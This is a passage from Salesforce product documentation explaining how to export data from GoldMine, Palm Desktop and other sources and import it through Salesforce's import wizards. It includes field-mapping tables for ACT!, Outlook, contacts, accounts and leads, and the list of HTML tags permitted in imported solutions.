Select Export to a new file and DBF file, and click Next.
In the list of GoldMine Fields on the left side of the dialog, select all of the fields, and click Add Field. Then click Next.
Choose the location for the export file, and click Next.
Select No when asked if you want to save these settings, and click Next.
Click Finish.
After the export finishes, locate the exported file and change its file extension from .dbf to .csv. The file is now ready for
import into Salesforce.

Exporting Notes from GoldMine 4.0


Before importing your GoldMine 4.0 notes into Salesforce, you must import your GoldMine 4.0 contacts.
To export notes from GoldMine 4.0, follow these steps:
1.
2.
3.
4.

Launch GoldMine 4.0.


Choose Export Records from the Tools menu.
Select Export to a new file and ASCII file, and click Next.
In the list of GoldMine Fields on the left side of the dialog, select the company, lastname, and notes fields, and click
Add Field. Then click Next.
5. Choose the location for the export file, and click Next.
6. Select No when asked if you want to save these settings, and click Next.

791

Data Management

Creating Export Files for Import Wizards

7. Click Finish.
8. After the export finishes, locate the exported file and change its file extension to .csv.
9. Open the file.
10. Add a header column by right-clicking on the first row and choosing Insert.
11. In column A, enter Company.
12. In column B, enter Last Name.
13. In column C, enter Note.
14. If necessary, clean up the file prior to importing it. Common problems include notes that have been broken between
columns (this occurs when notes contain quotation marks).

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from GoldMine 5.0


GoldMine 5.0 allows you to export contact data in a text format that can be imported. Additionally, you can export GoldMine
5.0 notes for import into Professional, Enterprise, Unlimited, and Developer Edition organizations.

Exporting Contacts from GoldMine 5.0


Exporting Notes from GoldMine 5.0

Exporting Contacts from GoldMine 5.0


To export contact data from GoldMine 5.0, follow these steps:
1.
2.
3.
4.
5.

Launch GoldMine 5.0.


Choose Tools > Import/Export Wizard > Export Contact Records.
Select Export to a new file and ASCII file, and click Next.
Select ALL Contact Records! in the drop-down list, and click Next.
In the list of GoldMine Fields on the left side of the dialog, select the fields you want to export, and click Add Field. We
recommend you select all fields, except the notes field. See Exporting Notes from GoldMine 5.0 on page 792 for information
on how to export notes.
6. Click Next.
7. Choose the location for the export file, select the Export GoldMine field names... checkbox, and then click Next.
8. Select No when asked if you want to save these settings, and click Next.
9. Click Finish.
10. After the export finishes, locate the exported file and change its file extension from .txt to .csv. The file is now ready for
import into Salesforce.
Exporting Notes from GoldMine 5.0
Before importing your GoldMine 5.0 notes into Salesforce, you must import your GoldMine 5.0 contacts.
To export notes from GoldMine 5.0, follow these steps:
1. Launch GoldMine 5.0.
2. Choose Tools > Import/Export Wizard > Export Contact Records.
3. Select Export to a new file and ASCII file, and click Next.

792

Data Management

Creating Export Files for Import Wizards

4. Select ALL Contact Records! in the drop-down list, and click Next.
5. In the list of GoldMine Fields on the left side of the dialog, select the company, lastname, and notes fields, and click
Add Field. Then click Next.
6. Choose the location for the export file, select the Export GoldMine field names... checkbox, and then click Next.
7. Select No when asked if you want to save these settings, and click Next.
8. Click Finish.
9. After the export finishes, locate the exported file and change its file extension from .txt to .csv.
10. Open the file.
11. If necessary, clean up the file prior to importing it. Common problems include notes that have been broken between
columns (this occurs when notes contain quotation marks).

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from Palm Desktop


The Palm Desktop allows you to export your Address Book contacts in a CSV (comma-separated values) format which can
then be imported.
1. Open the Address Book in the Palm Desktop. If you only want to export specific contacts, select those records.
2. Choose Export from the File menu.
3. In the Export To File dialog, enter a name for the file and choose a folder for it. In the Export as drop-down list, choose
Comma Separated (*.csv;*.txt). Select the range of records to export - either All or Currently selected records.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

4. Click Export.
5. In the Specify Export Fields dialog box, select the Address Book fields you want to export, and click OK.

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from Other Data Sources


You can import data into the system from any other application that can create a CSV (comma-separated values) file.
1. Save your data source as a CSV file.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

2. Ensure your file includes only one name per field. The system cannot accept more than one name per field.

793

Data Management

Creating Export Files for Import Wizards

3. Ensure your file separates names and titles into two fields. The system cannot accept fields containing both names and
titles.
4. Ensure your file includes only one phone number per field.

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from Salesforce


Available in: Professional, Enterprise, Unlimited, and Developer Editions

You can export account, contact, custom object, lead, or solution reports from Salesforce to create an import file for the import
wizards. You must include the Account ID, Contact ID, Custom Object ID, Lead ID, or Solution ID value for
each respective record in your report. These ID fields are unique Salesforce identifiers and are used to accurately match your
data with existing Salesforce records.
To create an import file with these ID fields, you first need to export the data from Salesforce.
1. Run an account, contact, custom object, lead, or solution report in Salesforce, include the respective ID field, and export
it to Excel.
2. If you are exporting both leads and contacts to be targeted in a campaign:
a. In Excel, combine the exported reports into one CSV (comma-separated values) file. Make sure all of the ID field
values are in the same column.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

b. Rename the Lead ID/Contact ID column to Record Id.


c. Add a column entitled Status, and enter the campaign member status for each contact or lead.
Note: Remember that Salesforce record IDs are case-sensitive and should never be changed manually in your import
file.

See Also:
Importing Campaign Members
Managing Campaigns

794

Data Management

Preparing Your Data for Import

Preparing Your Data for Import


Available in: All Editions except Database.com

After exporting your data from Salesforce or your existing application (see Creating Export Files for Import Wizards on page
789), prepare your data before importing it.
Preparing Contacts
When importing from ACT! or Outlook, the Import My Contacts wizard automatically maps fields from ACT! and
Outlook to Salesforce. See Default Field Mapping for ACT! on page 797 and Default Field Mapping for Outlook on
page 799.
When importing from other data sources, you must use Excel to label the columns in your import file as specified in
Field Mapping for Other Data Sources and Organization Import on page 802.
Preparing Person Accounts
When importing person accounts, use the field labels in Salesforce as the column labels in your import file. SeePerson
Account Fields on page 93 .
Preparing Organization's Business Accounts and Contacts
When importing business accounts and contacts for your organization, you must use Excel to label the columns in your
import file as specified in Field Mapping for Other Data Sources and Organization Import on page 802.
Preparing Organization's Leads
When importing general leads or leads for campaigns, use the import file labels specified in Field Mapping for Importing
Leads on page 806.
Preparing Custom Objects
When importing a custom object, use the field labels shown on the custom object detail page in Salesforce as the column
labels in your import file.
Preparing Solutions
When importing solutions, use the field labels in Salesforce as the column labels in your import file. For information
on field labels, see Solution Fields on page 3260.
You can enter HTML into the solutions you plan to import into Salesforce.However, unless your organization has
enabled HTML solutions, HTML tags will display in the solutions after they are imported. For more information, see
What are HTML Solutions? on page 3242.
For security purposes, Salesforce automatically filters all HTML solutions for potentially malicious HTML. If potentially
malicious HTML is detected in an HTML solution, then the potentially malicious HTML is either automatically
removed or transformed into text for users who view the HTML solution. Note that users will not be able to notice
when potentially malicious HTML is removed from an HTML solution.
You can import solutions written in HTML format into Salesforce. However, for security purposes, only the HTML
tags listed below are allowed. The content of any HTML tags not listed below is automatically removed when saved in
HTML solutions. Furthermore, the content of all <script> and <iframe> tags, as well as all JavaScript, is automatically

795

Data Management

Preparing Your Data for Import

removed when saved in HTML solutions. Additionally, Cascading Style Sheets (CSS) are not supported in HTML
solutions.
The following HTML tags are allowed in HTML solutions imported into Salesforce:
<a>

<dt>

<q>

<abbr>

<em>

<samp>

<acronym>

<font>

<small>

<address>

<h1>

<span>

<b>

<h2>

<strike>

<bdo>

<h3>

<strong>

<big>

<h4>

<sub>

<blockquote>

<h5>

<sup>

<br>

<h6>

<table>

<caption>

<hr>

<tbody>

<cite>

<i>

<td>

<code>

<img>

<tfoot>

<col>

<ins>

<th>

<colgroup>

<kbd>

<thead>

<dd>

<li>

<tr>

<del>

<ol>

<tt>

<dfn>

<p>

<ul>

<div>

<pre>

<var>

<dl>

Within the above tags, you can include the following attributes:
alt

face

size

background

height

src

border

href

style

class

name

target

colspan

rowspan

width

The above attributes which can include a URL are limited to URLs that begin with the following:

http:

796

Data Management

Preparing Your Data for Import

https:
file:
ftp:
mailto:
#
/ for relative links

Note: If your data has information in fields that do not match any of the standard fields, your administrator can create
custom fields for that data prior to import.
You must include universally required fields in your import files or the import will fail. For more information, see
About Universally Required Fields on page 1196.

See Also:
Creating Export Files for Import Wizards
Accessing the Import Wizards

Default Field Mapping for ACT!


Available in: All Editions except Database.com

This table details how ACT! fields map to Salesforce account and contact import fields during an individual data import.
Note: If an ACT! record contains more than one contact for the same company, the import wizard creates multiple
contacts for one account.

ACT! Field

Import Field

Address 1

Contact: Mailing Address and


Account: Billing Address

Address 2

Contact: Mailing Address and


Account: Billing Address

Address 3

Contact: Mailing Address and


Account: Billing Address

Alt Phone

Contact: Other Phone

Alt Phone Ext.

Contact: Other Phone Ext.

Assistant

Contact: Assistant's Name

Asst. Phone

Contact: Asst. Phone

797

Data Management

Preparing Your Data for Import

ACT! Field

Import Field

Asst. Phone Ext.

Contact: Asst. Phone Ext.

City

Contact: Mailing City and


Account: Billing City

Company

Account: Name

Contact

Contact: Full Name

Country

Contact: Mailing Country and


Account: Billing Country

Department

Contact: Department

E-mail Login

Contact: Email

(The import wizard verifies this is a valid email address in the


form: jsmith@acme.com)
Fax

Contact: Fax and


Account: Fax

Fax Ext.

Contact: Business Fax Ext.

First Name

Contact: First Name

Home Address 1

Contact: Other Address 1

Home Address 2

Contact: Other Address 2

Home Address 3

Contact: Other Address 3

Home City

Contact: Other City

Home Country

Contact: Other Country

Home Phone

Contact: Home Phone

Home State

Contact: Other State

Home Zip

Contact: Other Postal Code

ID/Status

Account: Type

Last Name

Contact: Last Name

Mobile Phone

Contact: Mobile Phone

Note

Does not import

Phone

Contact: Phone and


Account: Phone

Phone Ext.

Contact: Business Phone Ext.

Referred By

Contact: Lead Source

798

Data Management

Preparing Your Data for Import

ACT! Field

Import Field

Revenue

Account: Annual Revenue

State

Contact: Mailing State and


Account: Billing State

Ticker Symbol

Account: Ticker Symbol

Title

Contact: Title

Web Site

Account: Website

Zip

Contact: Mailing Postal Code


Account: Billing Postal Code

2nd Contact

2nd Contact: Name

2nd Phone

2nd Contact: Phone

2nd Phone Ext.

2nd Contact: Phone Ext.

2nd Title

2nd Contact: Title

3rd Contact

3rd Contact: Name

3rd Phone

3rd Contact: Phone

3rd Phone Ext.

3rd Contact: Phone Ext.

3rd Title

3rd Contact: Title

2nd Last Reach, 3rd Last Reach, Asst. Title, Last Contact: Note or Account: Note
Attempt, Last Meeting, Last Reach, Last Results,
(In Professional, Enterprise, Unlimited, and Developer Edition
Letter Date, Pager, Spouse, User 1-15

organizations, you specify which fields import into a single


contact or account note; separate notes are not created for each
ACT! field.)

See Also:
Exporting from ACT!

Default Field Mapping for Outlook


Available in: All Editions except Database.com

This table details how Outlook fields map to Salesforce account and contact import fields during an individual data import.

799

Data Management

Preparing Your Data for Import

Outlook Field

Import Field

Assistants Name

Contact: Assistants Name

Assistants Phone

Contact: Asst Phone

Birthday

Contact: Birthdate

Business City

Contact: Mailing City and


Account: Billing City

Business Country

Contact: Mailing Country and


Account: Billing Country

Business Fax

Contact: Fax and


Account: Fax

Business Phone

Contact: Phone

Business Postal Code

Contact: Mailing Postal Code


Account: Billing Postal Code

Business Street

Contact: Mailing Address and


Account: Billing Address

Business Street 2

Contact: Mailing Address and


Account: Billing Address

Business Street 3

Contact: Mailing Address and


Account: Billing Address

Company

Account: Account Name and


Contact: Account

Company Main Phone

Account: Phone

Department

Contact: Department

E-mail

Contact: Email

(The import wizard verifies this is a valid email address in the


form: jsmith@acme.com)
First Name

Contact: First Name

Home City

Contact: Other City

Home Country

Contact: Other Country

Home Phone

Contact: Home Phone

Home Postal Code

Contact: Other Postal Code

Home Street

Contact: Other Address

800

Data Management

Preparing Your Data for Import

Outlook Field

Import Field

Home Street 2

Contact: Other Address

Home Street 3

Contact: Other Address

Job Title

Contact: Title

Last Name

Contact: Last Name

Manager's Name

Contact: Reports To
(In addition, if the name in this field does not match an
existing contact, a new contact is created with the managers
name.)

Mobile Phone

Contact: Mobile Phone

Notes

Contact: Description

Other Phone

Contact: Other Phone

Referred By

Contact: Lead Source

Title

Contact: Salutation

Web Page

Account: Website

Account, Anniversary, Billing Information,


Business Phone 2, Callback, Car Phone,
Categories, Children, Directory Server, E-mail
2, E-mail 3, Government ID Number, Hobby, Home
Fax, Home Phone 2, Internet Free/Busy Address,
ISDN, Keywords, Language, Location, Middle Name,
Mileage, Office Location, Organizational ID
Number, Other City, Other Country, Other Fax,
Other Postal Code, Other State, Other Street,
Other Street 2, Other Street 3, Pager, PO Box,
Primary Phone, Profession, Radio Phone, Spouse,
Suffix, Telex, TTY/TDD Phone, User 1, User 2, User
3, User 4

Contact: Note or Account: Note


(In Professional, Enterprise, Unlimited, and Developer Edition
organizations, you specify which fields import into a single
contact or account note; separate notes are not created for each
Outlook field.)

See Also:
Exporting from Outlook
Mapping Fields for Salesforce for Outlook

801

Data Management

Preparing Your Data for Import

Field Mapping for Other Data Sources and Organization Import


Available in: All Editions except Database.com
Organization import not available in: Personal Edition, Database.com

If you are importing accounts and contacts for an organization, or importing individual data from sources other than Outlook
or ACT!, the Import Wizards map the fields as correctly as possible. You must fine-tune the mapping before completing the
import. Before importing your data, Salesforce recommends that you use Excel to label the columns in your import file with
the labels listed below. Field length limits for each object are listed in the Salesforce Field Reference Guide.
Note: The default mappings listed below are offered as a guide for importing; they do not ensure 100% accuracy in
mapping your data. You must fine-tune the mapping in the Import Wizards. Remember that you can map the same
field multiple times if necessaryfor example, for the account and contact address fields.
Common Fields for Contacts and Accounts
Label for Your Import File
Record Owner

Salesforce Field
Contact: Contact Owner and

(Note: For individual imports, this field is not necessary, since Account: Account Owner
all data you import is automatically owned by you. In addition,
when importing records by Salesforce record ID, this field is
ignored.)
Currency ISO Code

Contact: Contact Currency and

(Note: You can use this field only for organization imports in Account: Account Currency
organizations that use multiple currencies. For more
information, see Importing Multiple Currencies on page 788.)

Contact Fields
Label for Your Import File

Salesforce Field

Assistant

Contact: Assistant

Asst. Phone

Contact: Asst. Phone

Asst. Phone Ext.

Appended to Contact: Asst. Phone

Birthdate

Contact: Birthdate

Business Fax

Contact: Fax

Business Fax Ext.

Appended to Contact: Fax

Business Phone

Contact: Phone

Business Phone Ext.

Appended to Contact: Phone

802

Data Management

Preparing Your Data for Import

Contact Fields
Label for Your Import File

Salesforce Field

Contact Description

Contact: Description

Contact Full Name or

Contact: First Name and

First Name & Last Name

Contact: Last Name

(Note: When importing contact names, use either Contact


Full Name or First Name and Last Name, but not both.)
Contact ID

Contact: Contact ID

(Note: Record IDs are case-sensitive and should not be


changed.)
Contact Note

Creates a note attached to the contact

Department

Contact: Department

E-mail Address

Contact: Email

(Note: The import wizard verifies this is a valid email address


in the form: jsmith@acme.com.)
Email Opt Out

Contact: Email Opt Out

(Note: Use 1 to indicate that user opts out; use 0 to indicate


that user wants emails.)
Home Phone

Contact: Home Phone

Home Phone Ext.

Appended to Contact: Home Phone

Lead Source

Contact: Lead Source

Mailing City

Contact: Mailing City

Mailing Country

Contact: Mailing Country

Mailing Postal Code

Contact: Mailing Address Zip/Postal Code

Mailing State

Contact: Mailing State/Province

Mailing Street 1

Contact: Mailing Address

Mailing Street 2

Contact: Mailing Address

Mailing Street 3

Contact: Mailing Address

Mobile Phone

Contact: Mobile

Mobile Phone Ext.

Appended to Contact: Mobile

Other City

Contact: Other City

Other Country

Contact: Other Country

Other Phone

Contact: Other Phone

803

Data Management

Preparing Your Data for Import

Contact Fields
Label for Your Import File

Salesforce Field

Other Phone Ext.

Appended to Contact: Other Phone

Other Postal Code

Contact: Other Address Zip/Postal Code

Other State

Contact: Other State/Province

Other Street 1

Contact: Other Address

Other Street 2

Contact: Other Address

Other Street 3

Contact: Other Address

Reports To

Contact: Reports To

(Note: If the import wizard cannot find a contact that matches


the name in this field, it will create a new contact using this
value as the Contact: First Name & Last Name.)
Salutation

Prefixed to Contact: First Name

Title

Contact: Title

2nd Contact

Split into Contact: First Name & Last Name for a second
contact for the account

2nd Phone

Contact: Phone for a second contact for the account

2nd Phone Ext.

Appended to Contact: Phone for a second contact for the


account

2nd Title

Contact: Title for a second contact for the account

3rd Contact

Split into Contact: First Name & Last Name for a third
contact for the account

3rd Phone

Contact: Phone for a third contact for the account

3rd Phone Ext.

Appended to Contact: Phone for a third contact for the


account

3rd Title

Contact: Title for a third contact for the account

Account Fields
Label for Your Import File

Salesforce Field

Account Description

Account: Description

Account Division

Account: Account Division

(Note: You do not need to specify this field if you choose to


assign the division via the drop-down list on Step 1 of the
import wizard. If you do not map this field or use the division
drop-down list, the division is set to the record owners default
division for each record.)

804

Data Management

Preparing Your Data for Import

Account Fields
Label for Your Import File

Salesforce Field

Account Fax

Account: Fax

Account Fax Ext.

Appended to Account: Fax

Account ID

Account: Account ID

(Note: Record IDs are case-sensitive and should not be


changed.)
Account Name

Account: Account Name and


Contact: Account

Account Note

Creates a note attached to the account

Account Number

Account: Account Number

Account Phone

Account: Phone

Account Phone Ext.

Appended to Account: Phone

Account Site

Account: Account Site

Account Type

Account: Type

Billing City

Account: Billing City

Billing Country

Account: Billing Country

Billing Postal Code

Account: Billing Zip/Postal Code

Billing State

Account: Billing State/Province

Billing Street 1

Account: Billing Address

Billing Street 2

Account: Billing Address

Billing Street 3

Account: Billing Address

Employees

Account: Employees

Industry

Account: Industry

Ownership

Account: Ownership

Parent Account

Account: Parent Account

(Note: If the import wizard cannot find an account that


matches the parent account name, it will create a new account
using this value as the Account Name.)
Parent Account Site

Account: Account Site

(Note: Indicates the site value of Parent Account.)

(Note: Maps to the Account Site field in the parent


account.)

Rating

Account: Rating

805

Data Management

Preparing Your Data for Import

Account Fields
Label for Your Import File

Salesforce Field

Revenue

Account: Annual Revenue

Shipping City

Account: Shipping City

Shipping Country

Account: Shipping Country

Shipping Postal Code

Account: Shipping Zip/Postal Code

Shipping State

Account: Shipping State/Province

Shipping Street 1

Account: Shipping Address

Shipping Street 2

Account: Shipping Address

Shipping Street 3

Account: Shipping Address

SIC Code

Account: SIC Code

Ticker Symbol

Account: Ticker Symbol

Website

Account: Website

Note: If you include record types in your import file, the Import Wizard uses the record owners default record type
when creating new records. For existing records, the Import Wizard does not update the record type field. For more
information, see Managing Record Types on page 1268.

Field Mapping for Importing Leads


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

When you import leads, the Import My Organizations Leads wizard and the campaign Import Leads wizard map the fields
in your import file as correctly as possible, but you must fine-tune the mapping before completing the import. Prior to importing
your leads, it is recommended that you use Excel to label the columns in your lead import file with the labels listed in the table
below.
Note: The default mappings listed below are offered as a guide for importing; they do not insure 100% accuracy in
mapping your data. You must fine-tune the mapping in the Import Wizard.

Label for Your Import File

Salesforce Lead Field

Annual Revenue

Annual Revenue

City

City

Company

Company

Country

Country

806

Data Management

Preparing Your Data for Import

Label for Your Import File


Currency ISO Code

Salesforce Lead Field


Lead Currency

(Note: You can use this field only for organizations that use
multiple currencies see Importing Multiple Currencies on
page 788.)
Description
Email

Description
Email

(The import wizard verifies this is a valid email address in the


form: jsmith@acme.com)
Email Opt Out

Email Opt Out

(Use 1 to indicate that the user opts out; use 0 to indicate


that the user wants emails.)
No. of Employees

No. of Employees

Fax

Fax

Full Name orFirst Name & Last Name

First Name and Last Name

(Note: When importing lead names, use either Full Name


or First Name and Last Name, but not both.)
Industry
Lead Division

Industry
Lead Division

(Note: You do not need to specify this field if you choose to


assign the division via the drop-down list on Step 1 of the
import wizard. If you do not map this field or use the division
drop-down list, the division is set to the record owners default
division for each record.)
Lead ID

Lead ID

(Note: Record IDs are case-sensitive and should not be


changed.)
Lead Source

Lead Source

(Note: You do not need to specify this field if you choose to


assign the same Lead Source to all leads on the first page
of the import wizard.)
Lead Status

Lead Status

Mobile Phone

Mobile

807

Data Management

Accessing the Import Wizards

Label for Your Import File

Salesforce Lead Field

Phone

Phone

Postal Code

Postal Code

Rating

Rating

Record Owner

Lead Owner

(Note: You do not need this field if assigning ownership via


a lead assignment rule. In addition, when importing records
by Salesforce record ID, this field is ignored.)
Salutation

Added to beginning of First Name

State

State

Status

Status

(For campaign Import Leads wizard only)

(in the Campaign History related list of a lead)

Street 1

Address

Street 2

Address

Street 3

Address

Title

Title

Website

Website

Note:
If you include record types in this list, the Import Wizard uses the record owners default record type when creating
new records. For existing records, the Import Wizard does not update the record type field.
If you choose to use assignment rules, the Import Wizard uses the new owners default record type when creating new
records. When the assignment rules assign the record to a queue, the queue owners default record type is used.

See Also:
Import My Organizations Leads

Accessing the Import Wizards


For Records You Own
Import wizards for records you personally own are located at Your Name > Setup > Import:

Import My Contacts
Import My Person Accounts

808

Data Management

Accessing the Import Wizards

For Your Organization's Records


Import wizards for organization-wide data are located at Your Name > Setup > Data Management:

Import My Organizations Accounts and Contacts


Import My Organization's Person Accounts
Import My Organizations Leads
Import My Organization's Solutions
Import My Organization's Custom Objects

For Campaign Members


To access the campaign import wizards, view a campaign and click Manage Members. Then click the appropriate link:

Add Members - Import File (Lead Import Wizard )


Update & Add Members - Import File (Campaign Update Wizard)

See Also:
Importing Overview
Importing Articles
FAQ: Importing

Import My Contacts
Available in: All Editions except Database.com

With the Import My Contacts wizard, any user can import up to 500 personal contacts and associated business accounts.
Before beginning, make sure you have created an export file (see Creating Export Files for Import Wizards on page 789) and
correctly prepared your data (see Preparing Your Data for Import on page 795).
Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.

1. Start the wizard


Navigate to Your Name > Setup > Import > Import My Accounts & Contacts, and click Start the Import Wizard!.
Alternatively, click the Import My Accounts & Contacts link in the Tools area of the account home page. Note that the
labels for business contacts and business accounts may have been renamed by your administrator, in which case the Import
My... links may have customized text.
2. Select the source
a. Specify the source application of your data - ACT!, Outlook, or other data source (any CSV file).
b. Click Next to continue.
3. Upload the file
a. Click Browse to load your file.

809

Data Management

Accessing the Import Wizards

b. If importing from ACT! or Outlook, click Import Now!, or click Customize Mappings to verify the field mappings.
c. If importing from any other source, select the character encoding of the file. Most users will not need to change the
default setting.
d. Choose whether to match your contacts by name or by email. This field sets the criteria for avoiding duplicates. For
example, if you are matching by email and a record in your source file has the same email as a record in Salesforce, then
that record will be updated in Salesforce. If you are not matching by email and there is a record in Salesforcewith the
same email, then a new record will be created.
e. Choose Next to continue.
4. Map the fields
a. On four different mapping pages, the wizard associates the Salesforce field names with the field names from your
import file. You must check the default mappings and alter any incorrect mappings. For more information about the
default field mappings, see Preparing Your Data for Import on page 795.
b. Note that there is no Record Owner field; you are automatically assigned as the owner of any data you import. On
the Map Account Fields page, check the Overwrite existing account values box if you want to overwrite
existing business account fields with your import data. Note that you cannot use this checkbox to update existing field
data with blank values.
c. You can import data only into the fields that are editable for you in your page layout or field-level security settings.
(See Managing Page Layouts on page 1276 and Field-Level Security Overview on page 663. Field-level security is available
in Enterprise, Unlimited, and Developer Editions only.)
d. When all fields are assigned correctly, click Next.
5. Map the miscellaneous fields
a. The wizard reports the fields that do not map.
In Professional, Enterprise, Unlimited, and Developer Edition organizations, you can choose whether the unmapped
fields should be imported into an business account or contact Note or should not be imported at all. The fields are
imported into a single business account Note or a single contact Note; separate note fields are not created for each
import field.
b. When all fields are assigned correctly, click Import Now!.

See Also:
Accessing the Import Wizards

810

Data Management

Accessing the Import Wizards

Import My Person Accounts


Person account import available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import your own person accounts:

Create on accounts
AND
Read on contacts
AND
Import Personal Contacts
AND
At least one person account record type available for your
profile

With the Import My Person Accounts wizard, you can import person accounts that you own. To understand how person
account records are matched to prevent duplicates, see What Is Imported for Person Accounts? on page 782.
Note: Your administrator may have renamed person account to another term. If so, the import wizard will refer to
the new name.
Follow these steps to import your person accounts. Click each link for more details.
1.
2.
3.
4.
5.
6.
7.

Launch the wizard


Prevent duplicate records
Select record type
Upload your import file
Map fields
Confirm and submit your import
Complete your import

Launch the wizard


1. To import your person accounts, choose Your Name > Setup > Import > Import My Person Accounts.
Alternatively, click Import My Person Accounts in the Tools area of the accounts home page.
2. For best results, perform all of the steps provided on the introductory page.
3. Click Start the Import Wizard! to begin your import.
Prevent Duplicate Records
1. Choose the field that you are using to match existing records in Salesforce with records in your import file. The External
ID option is disabled if no external ID fields have been created for your records.

811

Data Management

Accessing the Import Wizards

2. Choose what you want to happen if matches are found - only import new records, only update existing records, or update
existing records and import new ones.
Note: If you have chosen to match by Salesforce ID, you can only update existing records; you cannot import
new ones.
3. Click Next.
Select record type
1. Choose the record type that you want to assign to the records in your import file.
2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record
types of existing records.
3. Click Next.
Upload your import file
1. Click Browse... to provide the location of your import file.
2. Choose the character encoding of your import file. In most cases, you can accept the default value.
3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered
and the language of the records in the import file.
4. Click Next.
Map fields
1. Map the fields in your import file to the appropriate Salesforce fields by matching the fields on the left, which includes all
the columns in your import file, with the appropriate Salesforce field on the right. If the column labels in your import file
exactly match field labels in Salesforce, the wizard automatically maps those fields for you. However, if two or more of
your file's column labels are identical matches with a field in Salesforce, you must map the fields manually.
Note: Some Salesforce fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the Salesforce
fields in your file cannot be mapped.
2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.
Confirm and submit your import
1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve
potential problems.
2. Click Import Now! to submit your import request to Salesforce.
Complete your import
1. A message indicates approximately how long the import will take. When the import operation is finished, a message from
Customer Support will be sent to the email address shown.
2. Click Finish to exit the wizard.

812

Data Management

Accessing the Import Wizards

3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 912.

See Also:
Accessing the Import Wizards

Import My Organizations Accounts and Contacts


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

With the Import My Organizations Accounts and Contacts wizard, administrators, and users with the Modify All Data
permission, can import up to 50,000 business accounts and contacts at a time for multiple users. Before beginning, make sure
you have created an export file (see Creating Export Files for Import Wizards on page 789) and correctly prepared your data
(see Preparing Your Data for Import on page 795).
Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.

1. Start the wizard.


Go to Your Name > Setup > Data Management > Import Accounts/Contacts (or Import Business Accounts/Contacts
if your organization uses person accounts). Review the steps provided on the welcome page, then click Start the Import
Wizard!. Alternatively, click the appropriate link in the Tools area of the accounts home page.
Note: If your organization uses person accounts and the labels for business accounts and business contacts have
been renamed, the renamed labels will appear in the Tools area of the accounts home page, but not in the Data
Management area under Setup. (Renamed labels do not appear in any pages under App Setup or Administration
Setup.)
2. Create your import file.
a. Follow the instructions to create an import file, or see Creating Export Files for Import Wizards on page 789.
b. Click Next to continue.
3. Upload the file.
a. Click Browse to load your file.
b. Select the character encoding of your file. Most users will not need to change the default character encoding setting.
c. Choose whether to match your organizations contacts by Salesforce ID, name, or email. Similarly, choose whether to
match your organizations accounts by Salesforce ID or by name and site. Note that matching by Salesforce ID is
inclusive of both contacts and accounts.
These Matching Type fields set the criteria for avoiding duplicates. For example, if you are matching by email and
a record in your source file has the same email as a record in Salesforce, then that record will be updated in Salesforce.
If you are not matching by email and there is a record in Salesforce with the same email, then a new record will be
created. Note that contacts are matched only within the same account. If contacts related to different accounts have
the same name or email, they treated as separate contacts.
d. Organizations that use the Translation Workbench can specify the language of the import data.

813

Data Management

Accessing the Import Wizards

e. If you use divisions, select a division to assign to all imported records. Alternatively, select None to use the record
owners default division on each record, or specify the division in your import file.
f. Select the checkbox to trigger workflow rules for new and updated records that match workflow rule criteria.
g. Click Next to continue.
4. Map the fields.
a. On four different mapping pages, the wizard associates the Salesforce field names with the field names from your
import file. You must check the default mappings and alter any incorrect mappings. For more information about the
default field mappings, see Preparing Your Data for Import on page 795.
b. Remember to map the Record Owner field with your Record Owner field so that record ownership is assigned
correctly. When importing records by Salesforce record ID, the Record Owner field in your import file is ignored.
All records retain their existing owners; record owners cannot be updated using the import wizard.
c. On the Map Account Fields page, check the Overwrite existing account values box if you want to overwrite
existing account fields with your import data. Note that you cannot use this checkbox to update existing field data with
blank values.
d. When all fields are assigned correctly, click Next.
5. Map the miscellaneous fields.
a. The wizard reports the fields that do not map. In Professional, Enterprise, Unlimited, and Developer Edition
organizations, you can choose whether the unmapped fields should be imported into an account or contact Note or
should not be imported at all. The fields are imported into a single account Note or a single contact Note; separate
note fields are not created for each import field.
b. When all fields are assigned correctly, click Next.
6. Review and confirm.
a. If there are warnings on this page, stop the import process and correct your import file.
b. Select Import Now! to send your import request. Your data is imported within the next 24 hours, and we notify you
via email when the import is complete. Once the system begins processing, you cannot cancel the import (see Undoing
an Import on page 825).
7. Check the Import Queue.
a. You can use the Import Queue to check the progress of your import. Click Your Name > Setup > Monitoring >
Imports. Alternatively, click the Import Queue link on the Import Wizard for My Organization page. For imports
that have not begun processing, you can click Del to cancel the import.
Note: If your organization uses territory management, your imported accounts are always evaluated by account
assignment rules. See Territory Management Overview on page 2638.

See Also:
Accessing the Import Wizards

814

Data Management

Accessing the Import Wizards

Import My Organization's Person Accounts


Person account import available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import your organization's person accounts:

Import Person Accounts

With the Import My Organization's Person Accounts wizard, you can import person accounts that are owned by different
users. To understand how person account records are matched to prevent duplicates, see What Is Imported for Person Accounts?
on page 782.
Note: If the label for person accounts has been renamed for your organization, the renamed label will appear in the
import wizard itself and in the Tools area of the accounts home page, but not in the Data Management area under
Setup. (Renamed labels do not appear in any pages under App Setup or Administration Setup.)
Follow these steps to import person accounts for your organization.
1.
2.
3.
4.
5.
6.
7.
8.

Launch the wizard


Prevent duplicate records
Specify owner and lookup relationships
Select record type
Upload your import file
Map fields
Confirm and submit your import
Complete your import
Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup
of your organization.

Launch the wizard


To import person accounts for your organization:
1. Choose Your Name > Setup > Data Management > Import Person Accounts.
Alternatively, click Import My Organization's Person Accounts in the Tools area of the accounts home page.
2. For best results, perform all of the steps provided on the introductory page.
3. Click Start the Import Wizard! to begin your import.
Prevent duplicate records
